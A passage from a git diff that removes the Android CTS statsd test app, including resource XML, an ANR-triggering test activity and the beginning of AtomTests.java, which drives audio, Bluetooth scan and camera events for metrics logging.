- *((long long *)&ptr[i]) = allocCount + i;
- }
- std::stringstream ss;
- ss << "total alloc: " << allocCount / (1 << 20);
- LOG(ss.str().c_str());
- gptr = ptr;
- allocCount += s;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
deleted file mode 100644
index bf43931..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical">
- <com.android.server.cts.device.statsd.DaveyView
- android:id="@+id/davey_view"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
deleted file mode 100644
index a029c80..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:orientation="vertical">
-
- <FrameLayout
- android:id="@+id/video_frame"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent">
-
- <VideoView
- android:id="@+id/video_player_view"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent" />
- </FrameLayout>
-</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
deleted file mode 100644
index 0bec670..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
deleted file mode 100644
index d20f772..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
deleted file mode 100644
index e769146..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<resources>
- <declare-styleable name="DaveyView">
- <attr name="causeDavey" format="boolean" />
- </declare-styleable>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
deleted file mode 100644
index e40d2ac..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<resources xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
- <string name="app_name">CTS Statsd Atoms App</string>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
deleted file mode 100644
index 71c73d7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
- http://www.apache.org/licenses/LICENSE-2.0
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="com.android.cts.statsd"
- android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
deleted file mode 100644
index d8cb52e..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
- android:contentAuthority= "com.android.server.cts.device.statsd.provider"
- android:accountType="com.android.cts.statsd"
-/>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
deleted file mode 100644
index 78b2d2d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.WindowManager;
-
-public class ANRActivity extends Activity {
- private static final String TAG = "ANRActivity";
- private static final String ACTION_ANR = "action_anr";
-
-
- @Override
- public void onCreate(Bundle bundle) {
- super.onCreate(bundle);
-
- registerReceiver(new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- while (true) {
- SystemClock.sleep(2);
- }
- }
- }, new IntentFilter(ACTION_ANR));
-
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
deleted file mode 100644
index 783790d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ /dev/null
@@ -1,1057 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningServiceInfo;
-import android.app.AlarmManager;
-import android.app.AppOpsManager;
-import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
-import android.app.job.JobInfo;
-import android.app.job.JobScheduler;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.le.BluetoothLeScanner;
-import android.bluetooth.le.ScanCallback;
-import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanResult;
-import android.bluetooth.le.ScanSettings;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.ApplicationInfo;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.media.MediaPlayer;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.wifi.WifiManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.Process;
-import android.os.SystemClock;
-import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.StatsEvent;
-import android.util.StatsLog;
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.FakeBlobData;
-import com.google.common.io.BaseEncoding;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-import org.junit.Test;
-
-public class AtomTests {
- private static final String TAG = AtomTests.class.getSimpleName();
-
- private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
- private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
- static {
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_FINE_LOCATION, 1);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GPS, 2);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_VIBRATE, 3);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CONTACTS, 4);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CONTACTS, 5);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALL_LOG, 6);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALL_LOG, 7);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CALENDAR, 8);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CALENDAR, 9);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WIFI_SCAN, 10);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_POST_NOTIFICATION, 11);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NEIGHBORING_CELLS, 12);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CALL_PHONE, 13);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_SMS, 14);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SMS, 15);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_SMS, 16);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_EMERGENCY_BROADCAST, 17);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_MMS, 18);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECEIVE_WAP_PUSH, 19);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SEND_SMS, 20);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_ICC_SMS, 21);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_ICC_SMS, 22);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_SETTINGS, 23);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW, 24);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS, 25);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CAMERA, 26);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO, 27);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PLAY_AUDIO, 28);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CLIPBOARD, 29);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_CLIPBOARD, 30);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_MEDIA_BUTTONS, 31);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TAKE_AUDIO_FOCUS, 32);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MASTER_VOLUME, 33);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_VOICE_VOLUME, 34);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_RING_VOLUME, 35);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_MEDIA_VOLUME, 36);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ALARM_VOLUME, 37);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_NOTIFICATION_VOLUME, 38);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_BLUETOOTH_VOLUME, 39);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WAKE_LOCK, 40);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_LOCATION, 41);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MONITOR_HIGH_POWER_LOCATION, 42);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_USAGE_STATS, 43);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MUTE_MICROPHONE, 44);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TOAST_WINDOW, 45);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROJECT_MEDIA, 46);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_VPN, 47);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_WALLPAPER, 48);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_STRUCTURE, 49);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ASSIST_SCREENSHOT, 50);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_STATE, 51);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ADD_VOICEMAIL, 52);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_SIP, 53);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PROCESS_OUTGOING_CALLS, 54);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_FINGERPRINT, 55);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BODY_SENSORS, 56);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_CELL_BROADCASTS, 57);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MOCK_LOCATION, 58);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, 59);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, 60);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_TURN_SCREEN_ON, 61);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_GET_ACCOUNTS, 62);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_IN_BACKGROUND, 63);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUDIO_ACCESSIBILITY_VOLUME, 64);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_PHONE_NUMBERS, 65);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_INSTALL_PACKAGES, 66);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PICTURE_IN_PICTURE, 67);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INSTANT_APP_START_FOREGROUND, 68);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ANSWER_PHONE_CALLS, 69);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RUN_ANY_IN_BACKGROUND, 70);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_CHANGE_WIFI_STATE, 71);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_REQUEST_DELETE_PACKAGES, 72);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BIND_ACCESSIBILITY_SERVICE, 73);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCEPT_HANDOVER, 74);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_IPSEC_TUNNELS, 75);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_START_FOREGROUND, 76);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_BLUETOOTH_SCAN, 77);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_USE_BIOMETRIC, 78);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVITY_RECOGNITION, 79);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_SMS_FINANCIAL_TRANSACTIONS, 80);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_AUDIO, 81);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_AUDIO, 82);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_VIDEO, 83);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, 84);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_MEDIA_IMAGES, 85);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, 86);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LEGACY_STORAGE, 87);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_ACCESSIBILITY, 88);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS, 89);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACCESS_MEDIA_LOCATION, 90);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_QUERY_ALL_PACKAGES, 91);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_EXTERNAL_STORAGE, 92);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_INTERACT_ACROSS_PROFILES, 93);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_ACTIVATE_PLATFORM_VPN, 94);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_LOADER_USAGE_STATS, 95);
- // Op 96 was deprecated/removed
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_PERMISSIONS_IF_UNUSED, 97);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_AUTO_REVOKE_MANAGED_BY_INSTALLER, 98);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_NO_ISOLATED_STORAGE, 99);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE, 100);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_PHONE_CALL_CAMERA, 101);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_RECORD_AUDIO_HOTWORD, 102);
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS, 103);
- }
-
- @Test
- public void testAudioState() {
- // TODO: This should surely be getTargetContext(), here and everywhere, but test first.
- Context context = InstrumentationRegistry.getContext();
- MediaPlayer mediaPlayer = MediaPlayer.create(context, R.raw.good);
- mediaPlayer.start();
- sleep(2_000);
- mediaPlayer.stop();
- }
-
- @Test
- public void testBleScanOpportunistic() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_OPPORTUNISTIC).build();
- performBleScan(scanSettings, null,false);
- }
-
- @Test
- public void testBleScanUnoptimized() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- performBleScan(scanSettings, null, false);
- }
-
- @Test
- public void testBleScanResult() {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- ScanFilter.Builder scanFilter = new ScanFilter.Builder();
- performBleScan(scanSettings, Arrays.asList(scanFilter.build()), true);
- }
-
- @Test
- public void testBleScanInterrupted() throws Exception {
- performBleAction((bluetoothAdapter, bleScanner) -> {
- ScanSettings scanSettings = new ScanSettings.Builder()
- .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
- ScanCallback scanCallback = new ScanCallback() {
- @Override
- public void onScanResult(int callbackType, ScanResult result) {
- Log.v(TAG, "called onScanResult");
- }
- @Override
- public void onScanFailed(int errorCode) {
- Log.v(TAG, "called onScanFailed");
- }
- @Override
- public void onBatchScanResults(List<ScanResult> results) {
- Log.v(TAG, "called onBatchScanResults");
- }
- };
-
- int uid = Process.myUid();
- int whatAtomId = 9_999;
-
- // Get the current setting for bluetooth background scanning.
- // Set to 0 if the setting is not found or an error occurs.
- int initialBleScanGlobalSetting = Settings.Global.getInt(
- InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
- // Turn off bluetooth background scanning.
- Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, 0);
-
- // Change state to State.ON.
- bleScanner.startScan(null, scanSettings, scanCallback);
- sleep(6_000);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
- bluetoothAdapter.disable();
- sleep(6_000);
-
- // Trigger State.RESET so that new state is State.OFF.
- if (!bluetoothAdapter.enable()) {
- Log.e(TAG, "Could not enable bluetooth to trigger state reset");
- return;
- }
- sleep(6_000); // Wait for Bluetooth to fully turn on.
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
- writeSliceByBleScanStateChangedAtom(whatAtomId, uid, false, false, false);
-
- // Set bluetooth background scanning to original setting.
- Settings.Global.putInt(InstrumentationRegistry.getTargetContext().getContentResolver(),
- Settings.Global.BLE_SCAN_ALWAYS_AVAILABLE, initialBleScanGlobalSetting);
- });
- }
-
- private static void writeSliceByBleScanStateChangedAtom(int atomId, int firstUid,
- boolean field2, boolean field3,
- boolean field4) {
- final StatsEvent.Builder builder = StatsEvent.newBuilder()
- .setAtomId(atomId)
- .writeAttributionChain(new int[] {firstUid}, new String[] {"tag1"})
- .writeBoolean(field2)
- .writeBoolean(field3)
- .writeBoolean(field4)
- .usePooledBuffer();
-
- StatsLog.write(builder.build());
- }
-
- /**
- * Set up BluetoothLeScanner and perform the action in the callback.
- * Restore Bluetooth to original state afterwards.
- **/
- private static void performBleAction(BiConsumer<BluetoothAdapter, BluetoothLeScanner> actions) {
- BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
- if (bluetoothAdapter == null) {
- Log.e(TAG, "Device does not support Bluetooth");
- return;
- }
- boolean bluetoothEnabledByTest = false;
- if (!bluetoothAdapter.isEnabled()) {
- if (!bluetoothAdapter.enable()) {
- Log.e(TAG, "Bluetooth is not enabled");
- return;
- }
- sleep(2_000); // Wait for Bluetooth to fully turn on.
- bluetoothEnabledByTest = true;
- }
- BluetoothLeScanner bleScanner = bluetoothAdapter.getBluetoothLeScanner();
- if (bleScanner == null) {
- Log.e(TAG, "Cannot access BLE scanner");
- return;
- }
-
- actions.accept(bluetoothAdapter, bleScanner);
-
- // Restore adapter state
- if (bluetoothEnabledByTest) {
- bluetoothAdapter.disable();
- }
- }
-
-
- private static void performBleScan(ScanSettings scanSettings, List<ScanFilter> scanFilters, boolean waitForResult) {
- performBleAction((bluetoothAdapter, bleScanner) -> {
- CountDownLatch resultsLatch = new CountDownLatch(1);
- ScanCallback scanCallback = new ScanCallback() {
- @Override
- public void onScanResult(int callbackType, ScanResult result) {
- Log.v(TAG, "called onScanResult");
- resultsLatch.countDown();
- }
- @Override
- public void onScanFailed(int errorCode) {
- Log.v(TAG, "called onScanFailed");
- }
- @Override
- public void onBatchScanResults(List<ScanResult> results) {
- Log.v(TAG, "called onBatchScanResults");
- resultsLatch.countDown();
- }
- };
-
- bleScanner.startScan(scanFilters, scanSettings, scanCallback);
- if (waitForResult) {
- waitForReceiver(InstrumentationRegistry.getContext(), 59_000, resultsLatch, null);
- } else {
- sleep(2_000);
- }
- bleScanner.stopScan(scanCallback);
- });
- }
-
- @Test
- public void testCameraState() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- CameraManager cam = context.getSystemService(CameraManager.class);
- String[] cameraIds = cam.getCameraIdList();
- if (cameraIds.length == 0) {
- Log.e(TAG, "No camera found on device");
- return;
- }
-
- CountDownLatch latch = new CountDownLatch(1);
- final CameraDevice.StateCallback cb = new CameraDevice.StateCallback() {
- @Override
- public void onOpened(CameraDevice cd) {
- Log.i(TAG, "CameraDevice " + cd.getId() + " opened");
- sleep(2_000);
- cd.close();
- }
- @Override
- public void onClosed(CameraDevice cd) {
- latch.countDown();
- Log.i(TAG, "CameraDevice " + cd.getId() + " closed");
- }
- @Override
- public void onDisconnected(CameraDevice cd) {
- Log.w(TAG, "CameraDevice " + cd.getId() + " disconnected");
- }
- @Override
- public void onError(CameraDevice cd, int error) {
- Log.e(TAG, "CameraDevice " + cd.getId() + "had error " + error);
- }
- };
-
- HandlerThread handlerThread = new HandlerThread("br_handler_thread");
- handlerThread.start();
- Looper looper = handlerThread.getLooper();
- Handler handler = new Handler(looper);
-
- cam.openCamera(cameraIds[0], cb, handler);
- waitForReceiver(context, 10_000, latch, null);
- }
-
- @Test
- public void testFlashlight() throws Exception {
- Context context = InstrumentationRegistry.getContext();
- CameraManager cam = context.getSystemService(CameraManager.class);
- String[] cameraIds = cam.getCameraIdList();
- boolean foundFlash = false;
- for (int i = 0; i < cameraIds.length; i++) {
- String id = cameraIds[i];
